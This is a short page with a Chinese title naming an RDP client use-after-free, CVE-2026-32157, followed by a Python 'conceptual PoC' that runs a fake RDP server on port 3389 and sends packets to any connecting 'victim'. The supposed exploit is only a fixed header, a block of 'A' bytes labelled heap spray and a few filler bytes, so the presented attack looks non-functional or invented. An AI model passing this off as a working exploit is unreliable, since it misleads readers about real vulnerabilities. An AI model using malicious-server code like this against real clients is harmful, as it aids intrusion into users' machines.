CVE-2026-32157 远程桌面客户端释放后使用漏洞

import socket import struct # Conceptual PoC for CVE-2026-32157 (Use After Free in RDP Client) # This script simulates a malicious RDP server designed to trigger the vulnerability. def create_malicious_rdp_packet(): """ Constructs a malformed RDP packet intended to cause the client to mishandle object memory. """ # Standard RDP connection header header = b'\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00' # Malicious payload designed to trigger the UAF condition # This payload manipulates the heap layout before the object is freed. heap_spray = b'A' * 1024 return header + heap_spray def start_exploit_server(): """ Starts a listener on port 3389 to wait for a victim connection. """ server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: server.bind(('0.0.0.0', 3389)) server.listen(1) print("[+] Malicious RDP server listening on port 3389...") while True: client, addr = server.accept() print(f"[+] Victim connected from: {addr}") # Send the initial handshake client.send(create_malicious_rdp_packet()) # Wait for user interaction (UI:R) print("[*] Waiting for user interaction to trigger the bug...") # Simulate sending specific stream data that causes the Use-After-Free # In a real scenario, timing and specific channel manipulation are crucial exploit_trigger = b'\x02\xf0\x80\x7f' + b'\x00' * 20 client.send(exploit_trigger) print("[+] Exploit payload sent.") client.close() except Exception as e: print(f"[-] Error: {e}") finally: server.close() if __name__ == "__main__": start_exploit_server()